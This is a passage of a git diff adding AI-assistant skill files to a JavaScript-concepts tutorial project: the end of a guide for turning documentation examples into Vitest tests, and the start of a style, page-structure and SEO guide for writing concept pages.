+```javascript
+const numbers = [1, 2, 3, 4, 5]
+const doubled = numbers.map(n => n * 2)
+console.log(doubled) // [2, 4, 6, 8, 10]
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Array map example
+it('should double all numbers in array', () => {
+ const numbers = [1, 2, 3, 4, 5]
+ const doubled = numbers.map(n => n * 2)
+
+ expect(doubled).toEqual([2, 4, 6, 8, 10])
+ expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged
+})
+```
+
+---
+
+### Pattern 11: Object Mutation Testing
+
+**Documentation:**
+```javascript
+const obj = { a: 1 }
+obj.b = 2
+console.log(obj) // { a: 1, b: 2 }
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Object mutation
+it('should allow adding properties to objects', () => {
+ const obj = { a: 1 }
+ obj.b = 2
+
+ expect(obj).toEqual({ a: 1, b: 2 })
+})
+```
+
+---
+
+### Pattern 12: Closure Testing
+
+**Documentation:**
+```javascript
+function counter() {
+ let count = 0
+ return function() {
+ count++
+ return count
+ }
+}
+
+const increment = counter()
+console.log(increment()) // 1
+console.log(increment()) // 2
+console.log(increment()) // 3
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Closure counter example
+it('should maintain state across calls via closure', () => {
+ function counter() {
+ let count = 0
+ return function() {
+ count++
+ return count
+ }
+ }
+
+ const increment = counter()
+ expect(increment()).toBe(1)
+ expect(increment()).toBe(2)
+ expect(increment()).toBe(3)
+})
+
+it('should create independent counters', () => {
+ function counter() {
+ let count = 0
+ return function() {
+ count++
+ return count
+ }
+ }
+
+ const counter1 = counter()
+ const counter2 = counter()
+
+ expect(counter1()).toBe(1)
+ expect(counter1()).toBe(2)
+ expect(counter2()).toBe(1) // Independent
+})
+```
+
+---
+
+### Pattern 13: DOM Event Testing
+
+**Documentation:**
+```javascript
+const button = document.getElementById('myButton')
+button.addEventListener('click', function(event) {
+ console.log('Button clicked!')
+ console.log(event.type) // "click"
+})
+```
+
+**Test (in .dom.test.js file):**
+```javascript
+/**
+ * @vitest-environment jsdom
+ */
+import { describe, it, expect, beforeEach, afterEach } from 'vitest'
+
+describe('DOM Event Handlers', () => {
+ let button
+
+ beforeEach(() => {
+ button = document.createElement('button')
+ button.id = 'myButton'
+ document.body.appendChild(button)
+ })
+
+ afterEach(() => {
+ document.body.innerHTML = ''
+ })
+
+ // From lines XX-YY: Button click event
+ it('should fire click event handler', () => {
+ const output = []
+
+ button.addEventListener('click', function(event) {
+ output.push('Button clicked!')
+ output.push(event.type)
+ })
+
+ button.click()
+
+ expect(output).toEqual(['Button clicked!', 'click'])
+ })
+})
+```
+
+---
+
+### Pattern 14: DOM Manipulation Testing
+
+**Documentation:**
+```javascript
+const div = document.createElement('div')
+div.textContent = 'Hello'
+div.classList.add('greeting')
+document.body.appendChild(div)
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Creating and appending elements
+it('should create element with text and class', () => {
+ const div = document.createElement('div')
+ div.textContent = 'Hello'
+ div.classList.add('greeting')
+ document.body.appendChild(div)
+
+ const element = document.querySelector('.greeting')
+ expect(element).not.toBeNull()
+ expect(element.textContent).toBe('Hello')
+ expect(element.classList.contains('greeting')).toBe(true)
+})
+```
+
+---
+
+### Pattern 15: Timer Testing
+
+**Documentation:**
+```javascript
+console.log('First')
+setTimeout(() => console.log('Second'), 0)
+console.log('Third')
+// Output: First, Third, Second
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: setTimeout execution order
+it('should execute setTimeout callback after synchronous code', async () => {
+ const output = []
+
+ output.push('First')
+ setTimeout(() => output.push('Second'), 0)
+ output.push('Third')
+
+ // Wait for setTimeout to execute
+ await new Promise(resolve => setTimeout(resolve, 10))
+
+ expect(output).toEqual(['First', 'Third', 'Second'])
+})
+```
+
+---
+
+### Pattern 16: Strict Mode Behavior
+
+**Documentation:**
+```javascript
+// In strict mode, this throws
+"use strict"
+x = 10 // ReferenceError: x is not defined
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Strict mode variable declaration
+it('should throw ReferenceError in strict mode for undeclared variables', () => {
+ // Vitest runs in strict mode by default
+ expect(() => {
+ // Using eval to test strict mode behavior
+ "use strict"
+ eval('undeclaredVar = 10')
+ }).toThrow()
+})
+```
+
+---
+
+## Complete Test File Template
+
+```javascript
+import { describe, it, expect } from 'vitest'
+
+describe('[Concept Name]', () => {
+ // ============================================================
+ // [FIRST SECTION NAME FROM DOCUMENTATION]
+ // From [concept].mdx lines XX-YY
+ // ============================================================
+
+ describe('[First Section]', () => {
+ // From lines XX-YY: [Brief description of example]
+ it('should [expected behavior]', () => {
+ // Code from documentation
+
+ expect(result).toBe(expected)
+ })
+
+ // From lines XX-YY: [Brief description of next example]
+ it('should [another expected behavior]', () => {
+ // Code from documentation
+
+ expect(result).toEqual(expected)
+ })
+ })
+
+ // ============================================================
+ // [SECOND SECTION NAME FROM DOCUMENTATION]
+ // From [concept].mdx lines XX-YY
+ // ============================================================
+
+ describe('[Second Section]', () => {
+ // From lines XX-YY: [Description]
+ it('should [behavior]', () => {
+ // Test
+ })
+ })
+
+ // ============================================================
+ // EDGE CASES AND COMMON MISTAKES
+ // From [concept].mdx lines XX-YY
+ // ============================================================
+
+ describe('Edge Cases', () => {
+ // From lines XX-YY: [Edge case description]
+ it('should handle [edge case]', () => {
+ // Test
+ })
+ })
+
+ describe('Common Mistakes', () => {
+ // From lines XX-YY: Wrong way example
+ it('should demonstrate the incorrect behavior', () => {
+ // Test showing why the "wrong" way fails
+ })
+
+ // From lines XX-YY: Correct way example
+ it('should demonstrate the correct behavior', () => {
+ // Test showing the right approach
+ })
+ })
+})
+```
+
+---
+
+## Complete DOM Test File Template
+
+```javascript
+/**
+ * @vitest-environment jsdom
+ */
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
+
+// ============================================================
+// DOM EXAMPLES FROM [CONCEPT NAME]
+// From [concept].mdx lines XX-YY
+// ============================================================
+
+describe('[Concept Name] - DOM', () => {
+ // Shared setup
+ let container
+
+ beforeEach(() => {
+ // Create a fresh container for each test
+ container = document.createElement('div')
+ container.id = 'test-container'
+ document.body.appendChild(container)
+ })
+
+ afterEach(() => {
+ // Clean up after each test
+ document.body.innerHTML = ''
+ vi.restoreAllMocks()
+ })
+
+ // ============================================================
+ // [SECTION NAME]
+ // From lines XX-YY
+ // ============================================================
+
+ describe('[Section Name]', () => {
+ // From lines XX-YY: [Example description]
+ it('should [expected DOM behavior]', () => {
+ // Setup
+ const element = document.createElement('div')
+ container.appendChild(element)
+
+ // Action
+ element.textContent = 'Hello'
+
+ // Assert
+ expect(element.textContent).toBe('Hello')
+ })
+ })
+
+ // ============================================================
+ // EVENT HANDLING
+ // From lines XX-YY
+ // ============================================================
+
+ describe('Event Handling', () => {
+ // From lines XX-YY: Click event example
+ it('should handle click events', () => {
+ const button = document.createElement('button')
+ container.appendChild(button)
+
+ let clicked = false
+ button.addEventListener('click', () => {
+ clicked = true
+ })
+
+ button.click()
+
+ expect(clicked).toBe(true)
+ })
+ })
+})
+```
+
+---
+
+## Running Tests
+
+```bash
+# Run all tests
+npm test
+
+# Run tests for specific concept
+npm test -- tests/fundamentals/primitive-types/
+
+# Run tests for specific file
+npm test -- tests/fundamentals/primitive-types/primitive-types.test.js
+
+# Run DOM tests only
+npm test -- tests/fundamentals/primitive-types/primitive-types.dom.test.js
+
+# Run with watch mode
+npm run test:watch
+
+# Run with coverage
+npm run test:coverage
+
+# Run with verbose output
+npm test -- --reporter=verbose
+```
+
+---
+
+## Quality Checklist
+
+### Completeness
+- [ ] All testable code examples have corresponding tests
+- [ ] Tests organized by documentation sections
+- [ ] Source line references included in comments (From lines XX-YY)
+- [ ] DOM tests in separate `.dom.test.js` file
+- [ ] Edge cases and error examples tested
+
+### Correctness
+- [ ] Tests verify the actual documented behavior
+- [ ] Output comments in docs match test expectations
+- [ ] Async tests properly use async/await
+- [ ] Error tests use correct `toThrow` pattern
+- [ ] Floating point comparisons use `toBeCloseTo`
+- [ ] Object comparisons use `toEqual` (not `toBe`)
+
+### Convention
+- [ ] Uses explicit imports from vitest
+- [ ] Follows describe/it nesting pattern
+- [ ] Test names start with "should"
+- [ ] Proper file naming (`{concept}.test.js`)
+- [ ] DOM tests have jsdom environment directive
+
+### Verification
+- [ ] All tests pass: `npm test -- tests/{category}/{concept}/`
+- [ ] No skipped tests without documented reason
+- [ ] No false positives (tests that pass for wrong reasons)
+
+---
+
+## Test Report Template
+
+Use this template to document test coverage for a concept page.
+
+```markdown
+# Test Coverage Report: [Concept Name]
+
+**Concept Page:** `/docs/concepts/[slug].mdx`
+**Test File:** `/tests/{category}/{concept}/{concept}.test.js`
+**DOM Test File:** `/tests/{category}/{concept}/{concept}.dom.test.js` (if applicable)
+**Date:** YYYY-MM-DD
+**Author:** [Name/Claude]
+
+## Summary
+
+| Metric | Count |
+|--------|-------|
+| Total Code Examples in Doc | XX |
+| Testable Examples | XX |
+| Tests Written | XX |
+| DOM Tests Written | XX |
+| Skipped (with reason) | XX |
+
+## Tests by Section
+
+| Section | Line Range | Examples | Tests | Status |
+|---------|------------|----------|-------|--------|
+| [Section 1] | XX-YY | X | X | ✅ |
+| [Section 2] | XX-YY | X | X | ✅ |
+| [Section 3] | XX-YY | X | X | ⚠️ (1 skipped) |
+
+## Skipped Examples
+
+| Line | Example Description | Reason |
+|------|---------------------|--------|
+| XX | ASCII diagram of call stack | Conceptual, not executable |
+| YY | Browser fetch example | Requires network, mocked instead |
+
+## Test Execution
+
+```bash
+npm test -- tests/{category}/{concept}/
+```
+
+**Result:** ✅ XX passing | ❌ X failing | ⏭️ X skipped
+
+## Notes
+
+[Any special considerations, mock requirements, or issues encountered]
+```
+
+---
+
+## Common Issues and Solutions
+
+### Issue: Test passes but shouldn't
+
+**Problem:** Test expectations don't match documentation output
+
+**Solution:** Double-check the expected value matches the `console.log` comment exactly
+
+```javascript
+// Documentation says: console.log(result) // [1, 2, 3]
+// Make sure test uses:
+expect(result).toEqual([1, 2, 3]) // NOT toBe for arrays
+```
+
+### Issue: Async test times out
+
+**Problem:** Async test never resolves
+
+**Solution:** Ensure all promises are awaited and async function is marked
+
+```javascript
+// Bad
+it('should fetch data', () => {
+ const data = fetchData() // Missing await!
+ expect(data).toBeDefined()
+})
+
+// Good
+it('should fetch data', async () => {
+ const data = await fetchData()
+ expect(data).toBeDefined()
+})
+```
+
+### Issue: DOM test fails with "document is not defined"
+
+**Problem:** Missing jsdom environment
+
+**Solution:** Add environment directive at top of file
+
+```javascript
+/**
+ * @vitest-environment jsdom
+ */
+```
+
+### Issue: Test isolation problems
+
+**Problem:** Tests affect each other
+
+**Solution:** Use beforeEach/afterEach for cleanup
+
+```javascript
+afterEach(() => {
+ document.body.innerHTML = ''
+ vi.restoreAllMocks()
+})
+```
+
+---
+
+## Summary
+
+When writing tests for a concept page:
+
+1. **Extract all code examples** from the documentation
+2. **Categorize** as testable, DOM, error, or conceptual
+3. **Create test file** in correct location with proper naming
+4. **Convert each example** to test using appropriate pattern
+5. **Reference source lines** in comments for traceability
+6. **Run tests** to verify all pass
+7. **Document coverage** using the report template
+
+**Remember:** Tests serve two purposes:
+1. Verify documentation is accurate
+2. Catch regressions if code examples are updated
+
+Every testable code example in the documentation should have a corresponding test. If an example can't be tested, document why.
diff --git a/.claude/skills/write-concept/SKILL.md b/.claude/skills/write-concept/SKILL.md
new file mode 100644
index 00000000..26fd5a6a
--- /dev/null
+++ b/.claude/skills/write-concept/SKILL.md
@@ -0,0 +1,1444 @@
+---
+name: write-concept
+description: Write or review JavaScript concept documentation pages for the 33 JavaScript Concepts project, following strict structure and quality guidelines
+---
+
+# Skill: Write JavaScript Concept Documentation
+
+Use this skill when writing or improving concept documentation pages for the 33 JavaScript Concepts project.
+
+## When to Use
+
+- Creating a new concept page in `/docs/concepts/`
+- Rewriting or significantly improving an existing concept page
+- Reviewing an existing concept page for quality and completeness
+- Adding explanatory content to a concept
+
+## Target Audience
+
+Remember: **the reader might be someone who has never coded before or is just learning JavaScript**. Write with empathy for beginners while still providing depth for intermediate developers. Make complex topics feel approachable and never assume prior knowledge without linking to prerequisites.
+
+## Writing Guidelines
+
+### Voice and Tone
+
+- **Conversational but authoritative**: Write like you're explaining to a smart friend
+- **Encouraging**: Make complex topics feel approachable
+- **Practical**: Focus on real-world applications and use cases
+- **Concise**: Respect the reader's time; avoid unnecessary verbosity
+- **Question-driven**: Open sections with questions the reader might have
+
+### Avoiding AI-Generated Language
+
+Your writing must sound human, not AI-generated. Here are specific patterns to avoid:
+
+#### Words and Phrases to Avoid
+
+| ❌ Avoid | ✓ Use Instead |
+|----------|---------------|
+| "Master [concept]" | "Learn [concept]" |
+| "dramatically easier/better" | "much easier" or "cleaner" |
+| "one fundamental thing" | "one simple thing" |
+| "one of the most important concepts" | "This is a big one" |
+| "essential points" | "key things to remember" |
+| "understanding X deeply improves" | "knowing X well makes Y easier" |
+| "To truly understand" | "Let's look at" or "Here's how" |
+| "This is crucial" | "This trips people up" |
+| "It's worth noting that" | Just state the thing directly |
+| "It's important to remember" | "Don't forget:" or "Remember:" |
+| "In order to" | "To" |
+| "Due to the fact that" | "Because" |
+| "At the end of the day" | Remove entirely |
+| "When it comes to" | Remove or rephrase |
+| "In this section, we will" | Just start explaining |
+| "As mentioned earlier" | Remove or link to the section |
+
+#### Repetitive Emphasis Patterns
+
+Don't use the same lead-in pattern repeatedly. Vary your emphasis:
+
+| Instead of repeating... | Vary with... |
+|------------------------|--------------|
+| "Key insight:" | "Don't forget:", "The pattern:", "Here's the thing:" |
+| "Best practice:" | "Pro tip:", "Quick check:", "A good habit:" |
+| "Important:" | "Watch out:", "Heads up:", "Note:" |
+| "Remember:" | "Keep in mind:", "The rule:", "Think of it this way:" |
+
+#### Em Dash (—) Overuse
+
+AI-generated text overuses em dashes. Limit their use and prefer periods, commas, or colons:
+
+| ❌ Em Dash Overuse | ✓ Better Alternative |
+|-------------------|---------------------|
+| "async/await — syntactic sugar that..." | "async/await. It's syntactic sugar that..." |
+| "understand Promises — async/await is built..." | "understand Promises. async/await is built..." |
+| "doesn't throw an error — you just get..." | "doesn't throw an error. You just get..." |
+| "outside of async functions — but only in..." | "outside of async functions, but only in..." |
+| "Fails fast — if any Promise rejects..." | "Fails fast. If any Promise rejects..." |
+| "achieve the same thing — the choice..." | "achieve the same thing. The choice..." |
+
+**When em dashes ARE acceptable:**
+- In Key Takeaways section (consistent formatting for the numbered list)
+- In MDN card titles (e.g., "async function — MDN")
+- In interview answer step-by-step explanations (structured formatting)
+- Sparingly when a true parenthetical aside reads naturally
+
+**Rule of thumb:** If you have more than 10-15 em dashes in a 1500-word document outside of structured sections, you're overusing them. After writing, search for "—" and evaluate each one.
+
+#### Superlatives and Filler Words
+
+Avoid vague superlatives that add no information:
+
+| ❌ Avoid | ✓ Use Instead |
+|----------|---------------|
+| "dramatically" | "much" or remove entirely |
+| "fundamentally" | "simply" or be specific about what's fundamental |
+| "incredibly" | remove or be specific |
+| "extremely" | remove or be specific |
+| "absolutely" | remove |
+| "basically" | remove (if you need it, you're not explaining clearly) |
+| "essentially" | remove or just explain directly |
+| "very" | remove or use a stronger word |
+| "really" | remove |
+| "actually" | remove (unless correcting a misconception) |
+| "In fact" | remove (just state the fact) |
+| "Interestingly" | remove (let the reader decide if it's interesting) |
+
+#### Stiff/Formal Phrases
+
+Replace formal academic-style phrases with conversational alternatives:
+
+| ❌ Stiff | ✓ Conversational |
+|---------|------------------|
+| "It should be noted that" | "Note that" or just state it |
+| "One might wonder" | "You might wonder" |
+| "This enables developers to" | "This lets you" |
+| "The aforementioned" | "this" or name it again |
+| "Subsequently" | "Then" or "Next" |
+| "Utilize" | "Use" |
+| "Commence" | "Start" |
+| "Prior to" | "Before" |
+| "In the event that" | "If" |
+| "A considerable amount of" | "A lot of" or "Many" |
+
+#### Playful Touches (Use Sparingly)
+
+Add occasional human touches to make the content feel less robotic, but don't overdo it:
+
+```javascript
+// ✓ Good: One playful comment per section
+// Callback hell - nested so deep you need a flashlight
+
+// ✓ Good: Conversational aside
+// forEach and async don't play well together — it just fires and forgets:
+
+// ✓ Good: Relatable frustration
+// Finally, error handling that doesn't make you want to flip a table.
+
+// ❌ Bad: Trying too hard
+// Callback hell - it's like a Russian nesting doll had a baby with a spaghetti monster! 🍝
+
+// ❌ Bad: Forced humor
+// Let's dive into the AMAZING world of Promises! 🎉🚀
+```
+
+**Guidelines:**
+- One or two playful touches per major section is enough
+- Humor should arise naturally from the content
+- Avoid emojis in body text (they're fine in comments occasionally)
+- Don't explain your jokes
+- If a playful line doesn't work, just be direct instead
+
+### Page Structure (Follow This Exactly)
+
+Every concept page MUST follow this structure in this exact order:
+
+```mdx
+---
+title: "Concept Name: [Hook] in JavaScript"
+sidebarTitle: "Concept Name: [Hook]"
+description: "SEO-friendly description in 150-160 characters starting with action word"
+---
+
+[Opening hook - Start with engaging questions that make the reader curious]
+[Example: "How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API?"]
+
+[Immediately show a simple code example demonstrating the concept]
+
+```javascript
+// This is how you [do the thing] in JavaScript
+const example = doSomething()
+console.log(example) // Expected output
+```
+
+[Brief explanation connecting to what they'll learn, with **[inline MDN links](https://developer.mozilla.org/...)** for key terms]
+
+
+**What you'll learn in this guide:**
+- Key learning outcome 1
+- Key learning outcome 2
+- Key learning outcome 3
+- Key learning outcome 4 (aim for 5-7 items)
+
+
+
+[Optional: Prerequisites or important notices - place AFTER Info box]
+**Prerequisite:** This guide assumes you understand [Related Concept](/concepts/related-concept). If you're not comfortable with that yet, read that guide first!
+
+
+---
+
+## [First Major Section - e.g., "What is X?"]
+
+[Core explanation with inline MDN links for any new terms/APIs introduced]
+
+[Optional: CardGroup with MDN reference links for this section]
+
+---
+
+## [Analogy Section - e.g., "The Restaurant Analogy"]
+
+[Relatable real-world analogy that makes the concept click]
+
+[ASCII art diagram visualizing the concept]
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ DIAGRAM TITLE │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ [Visual representation of the concept] │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## [Core Concepts Section]
+
+[Deep dive with code examples, tables, and Mintlify components]
+
+
+
+ Explanation of the first step
+
+
+ Explanation of the second step
+
+
+
+
+
+ Detailed explanation with code examples
+
+
+ Detailed explanation with code examples
+
+
+
+
+**Quick Rule of Thumb:** [Memorable summary or mnemonic]
+
+
+---
+
+## [The API/Implementation Section]
+
+[How to actually use the concept in code]
+
+### Basic Usage
+
+```javascript
+// Basic example with step-by-step comments
+// Step 1: Do this
+const step1 = something()
+
+// Step 2: Then this
+const step2 = somethingElse(step1)
+
+// Step 3: Finally
+console.log(step2) // Expected output
+```
+
+### [Advanced Pattern]
+
+```javascript
+// More complex real-world example
+```
+
+---
+
+## [Common Mistakes Section - e.g., "The #1 Fetch Mistake"]
+
+[Highlight the most common mistake developers make]
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ VISUAL COMPARISON │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ WRONG WAY RIGHT WAY │
+│ ───────── ───────── │
+│ • Problem 1 • Solution 1 │
+│ • Problem 2 • Solution 2 │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+```javascript
+// ❌ WRONG - Explanation of why this is wrong
+const bad = wrongApproach()
+
+// ✓ CORRECT - Explanation of the right way
+const good = correctApproach()
+```
+
+
+**The Trap:** [Clear explanation of what goes wrong and why]
+
+
+---
+
+## [Advanced Patterns Section]
+
+[Real-world patterns and best practices]
+
+### Pattern Name
+
+```javascript
+// Reusable pattern with practical application
+async function realWorldExample() {
+ // Implementation
+}
+
+// Usage
+const result = await realWorldExample()
+```
+
+---
+
+## Key Takeaways
+
+
+**The key things to remember:**
+
+1. **First key point** — Brief explanation
+
+2. **Second key point** — Brief explanation
+
+3. **Third key point** — Brief explanation
+
+4. **Fourth key point** — Brief explanation
+
+5. **Fifth key point** — Brief explanation
+
+[Aim for 8-10 key takeaways that summarize everything]
+
+
+---
+
+## Test Your Knowledge
+
+
+
+ **Answer:**
+
+ [Clear explanation]
+
+ ```javascript
+ // Code example demonstrating the answer
+ ```
+
+
+
+ **Answer:**
+
+ [Clear explanation with code if needed]
+
+
+ [Aim for 5-6 questions covering the main topics]
+
+
+---
+
+## Related Concepts
+
+
+
+ How it connects to this concept
+
+
+ How it connects to this concept
+
+
+
+---
+
+## Reference
+
+
+
+ Official MDN documentation for the main concept
+
+
+ Additional MDN reference
+
+
+
+## Articles
+
+
+
+ Brief description of what the reader will learn from this article.
+
+ [Aim for 4-6 high-quality articles]
+
+
+## Videos
+
+
+
+ Brief description of what the video covers.
+
+ [Aim for 3-4 quality videos]
+
+```
+
+---
+
+## SEO Guidelines
+
+SEO (Search Engine Optimization) is **critical** for this project. Each concept page should rank for the various ways developers search for that concept. Our goal is to appear in search results for queries like:
+
+- "what is [concept] in JavaScript"
+- "how does [concept] work in JavaScript"
+- "[concept] JavaScript explained"
+- "[concept] JavaScript tutorial"
+- "JavaScript [concept] example"
+
+Every writing decision — from title to structure to word choice — should consider search intent.
+
+---
+
+### Target Keywords for Each Concept
+
+Each concept page targets a **keyword cluster** — the family of related search queries. Before writing, identify these for your concept:
+
+| Keyword Type | Pattern | Example (DOM) |
+|--------------|---------|---------------|
+| **Primary** | [concept] + JavaScript | "DOM JavaScript", "JavaScript DOM" |
+| **What is** | what is [concept] in JavaScript | "what is the DOM in JavaScript" |
+| **How does** | how does [concept] work | "how does the DOM work in JavaScript" |
+| **How to** | how to [action] with [concept] | "how to manipulate the DOM" |
+| **Tutorial** | [concept] tutorial/guide/explained | "DOM tutorial JavaScript" |
+| **Comparison** | [concept] vs [related] | "DOM vs virtual DOM" |
+
+**More Keyword Cluster Examples:**
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | "JavaScript closures", "closures in JavaScript" |
+ | What is | "what is a closure in JavaScript", "what are closures" |
+ | How does | "how do closures work in JavaScript", "how closures work" |
+ | Why use | "why use closures JavaScript", "closure use cases" |
+ | Example | "JavaScript closure example", "closure examples" |
+ | Interview | "closure interview questions JavaScript" |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | "JavaScript Promises", "Promises in JavaScript" |
+ | What is | "what is a Promise in JavaScript", "what are Promises" |
+ | How does | "how do Promises work", "how Promises work JavaScript" |
+ | How to | "how to use Promises", "how to chain Promises" |
+ | Comparison | "Promises vs callbacks", "Promises vs async await" |
+ | Error | "Promise error handling", "Promise catch" |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | "JavaScript event loop", "event loop JavaScript" |
+ | What is | "what is the event loop in JavaScript" |
+ | How does | "how does the event loop work", "how event loop works" |
+ | Visual | "event loop explained", "event loop visualization" |
+ | Related | "call stack and event loop", "task queue JavaScript" |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | "JavaScript call stack", "call stack JavaScript" |
+ | What is | "what is the call stack in JavaScript" |
+ | How does | "how does the call stack work" |
+ | Error | "call stack overflow JavaScript", "maximum call stack size exceeded" |
+ | Visual | "call stack explained", "call stack visualization" |
+
+
+
+---
+
+### Title Tag Optimization
+
+The frontmatter has **two title fields**:
+- `title` — The page's `` tag (SEO, appears in search results)
+- `sidebarTitle` — The sidebar navigation text (cleaner, no "JavaScript" since we're on a JS site)
+
+**The Two-Title Pattern:**
+
+```mdx
+---
+title: "Closures: How Functions Remember Their Scope in JavaScript"
+sidebarTitle: "Closures: How Functions Remember Their Scope"
+---
+```
+
+- **`title`** ends with "in JavaScript" for SEO keyword placement
+- **`sidebarTitle`** omits "JavaScript" for cleaner navigation
+
+**Rules:**
+1. **50-60 characters** ideal length for `title` (Google truncates longer titles)
+2. **Concept name first** — lead with the topic, "JavaScript" comes at the end
+3. **Add a hook** — what will the reader understand or be able to do?
+4. **Be specific** — generic titles don't rank
+
+**Title Formulas That Work:**
+
+```
+title: "[Concept]: [What You'll Understand] in JavaScript"
+sidebarTitle: "[Concept]: [What You'll Understand]"
+
+title: "[Concept]: [Benefit or Outcome] in JavaScript"
+sidebarTitle: "[Concept]: [Benefit or Outcome]"
+```
+
+**Title Examples:**
+
+| ❌ Bad | ✓ title (SEO) | ✓ sidebarTitle (Navigation) |
+|--------|---------------|----------------------------|
+| `"Closures"` | `"Closures: How Functions Remember Their Scope in JavaScript"` | `"Closures: How Functions Remember Their Scope"` |
+| `"DOM"` | `"DOM: How Browsers Represent Web Pages in JavaScript"` | `"DOM: How Browsers Represent Web Pages"` |
+| `"Promises"` | `"Promises: Handling Async Operations in JavaScript"` | `"Promises: Handling Async Operations"` |
+| `"Call Stack"` | `"Call Stack: How Function Execution Works in JavaScript"` | `"Call Stack: How Function Execution Works"` |
+| `"Event Loop"` | `"Event Loop: How Async Code Actually Runs in JavaScript"` | `"Event Loop: How Async Code Actually Runs"` |
+| `"Scope"` | `"Scope and Closures: Variable Visibility in JavaScript"` | `"Scope and Closures: Variable Visibility"` |
+| `"this"` | `"this: How Context Binding Works in JavaScript"` | `"this: How Context Binding Works"` |
+| `"Prototype"` | `"Prototype Chain: Understanding Inheritance in JavaScript"` | `"Prototype Chain: Understanding Inheritance"` |
+
+**Character Count Check:**
+Before finalizing, verify your `title` length:
+- Under 50 chars: Consider adding more descriptive context
+- 50-60 chars: Perfect length
+- Over 60 chars: Will be truncated in search results — shorten it
+
+---
+
+### Meta Description Optimization
+
+The `description` field becomes the meta description — **the snippet users see in search results**. A compelling description increases click-through rate.
+
+**Rules:**
+1. **150-160 characters** maximum (Google truncates longer descriptions)
+2. **Include primary keyword** in the first half
+3. **Include secondary keywords** naturally if space allows
+4. **Start with an action word** — "Learn", "Understand", "Discover" (avoid "Master" — sounds AI-generated)
+5. **Promise specific value** — what will they learn?
+6. **End with a hook** — give them a reason to click
+
+**Description Formula:**
+
+```
+[Action word] [what the concept is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].
+```
+
+**Description Examples:**
+
+| Concept | ❌ Too Short (Low CTR) | ✓ SEO-Optimized (150-160 chars) |
+|---------|----------------------|--------------------------------|
+| DOM | `"Understanding the DOM"` | `"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering."` |
+| Closures | `"Functions that remember"` | `"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns."` |
+| Promises | `"Async JavaScript"` | `"Understand JavaScript Promises for handling asynchronous operations. Learn to create, chain, and combine Promises, handle errors properly, and write cleaner async code."` |
+| Event Loop | `"How async works"` | `"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking."` |
+| Call Stack | `"Function execution"` | `"Learn how the JavaScript call stack tracks function execution. Understand stack frames, execution context, stack overflow errors, and how recursion affects the stack."` |
+| this | `"Understanding this"` | `"Learn the 'this' keyword in JavaScript and how context binding works. Covers the four binding rules, arrow function behavior, and how to use call, apply, and bind."` |
+
+**Character Count Check:**
+- Under 120 chars: You're leaving value on the table — add more specifics
+- 150-160 chars: Optimal length
+- Over 160 chars: Will be truncated — edit ruthlessly
+
+---
+
+### Keyword Placement Strategy
+
+Keywords must appear in strategic locations — but **always naturally**. Keyword stuffing hurts rankings.
+
+**Priority Placement Locations:**
+
+| Priority | Location | How to Include |
+|----------|----------|----------------|
+| 🔴 Critical | Title | Primary keyword in first half |
+| 🔴 Critical | Meta description | Primary keyword + 1-2 secondary |
+| 🔴 Critical | First paragraph | Natural mention within first 100 words |
+| 🟠 High | H2 headings | Question-format headings with keywords |
+| 🟠 High | "What you'll learn" box | Topic-related phrases |
+| 🟡 Medium | H3 subheadings | Related keywords and concepts |
+| 🟡 Medium | Key Takeaways | Reinforce main keywords naturally |
+| 🟢 Good | Alt text | If using images, include keywords |
+
+**Example: Keyword Placement for DOM Page**
+
+```mdx
+---
+title: "DOM: How Browsers Represent Web Pages in JavaScript" ← 🔴 Primary: "in JavaScript" at end
+sidebarTitle: "DOM: How Browsers Represent Web Pages" ← Sidebar: no "JavaScript"
+description: "Learn how the DOM works in JavaScript. Understand ← 🔴 Primary: "DOM works in JavaScript"
+how browsers represent HTML as a tree, select and manipulate ← 🔴 Secondary: "manipulate elements"
+elements, traverse nodes, and optimize rendering."
+---
+
+How does JavaScript change what you see on a webpage? ← Hook question
+The **Document Object Model (DOM)** is a programming interface ← 🔴 Primary keyword in first paragraph
+for web documents. It represents your HTML as a **tree of
+objects** that JavaScript can read and manipulate.
+
+
+**What you'll learn in this guide:** ← 🟠 Topic reinforcement
+- What the DOM actually is
+- How to select elements (getElementById vs querySelector) ← Secondary keywords
+- How to traverse the DOM tree
+- How to create, modify, and remove elements ← "DOM" implicit
+- How browsers render the DOM (Critical Rendering Path)
+
+
+## What is the DOM in JavaScript? ← 🟠 H2 with question keyword
+
+The DOM (Document Object Model) is... ← Natural repetition
+
+## How the DOM Works ← 🟠 H2 with "how" keyword
+
+## DOM Manipulation Methods ← 🟡 H3 with related keyword
+
+## Key Takeaways ← 🟡 Reinforce in summary
+```
+
+**Warning Signs of Keyword Stuffing:**
+- Same exact phrase appears more than 3-4 times per 1000 words
+- Sentences read awkwardly because keywords were forced in
+- Using keywords where pronouns ("it", "they", "this") would be natural
+
+---
+
+### Answering Search Intent
+
+Google ranks pages that **directly answer the user's query**. Structure your content to satisfy search intent immediately.
+
+**The First Paragraph Rule:**
+
+The first paragraph after any H2 should directly answer the implied question. Don't build up to the answer — lead with it.
+
+```mdx
+
+## What is the Event Loop?
+
+Before we can understand the event loop, we need to talk about JavaScript's
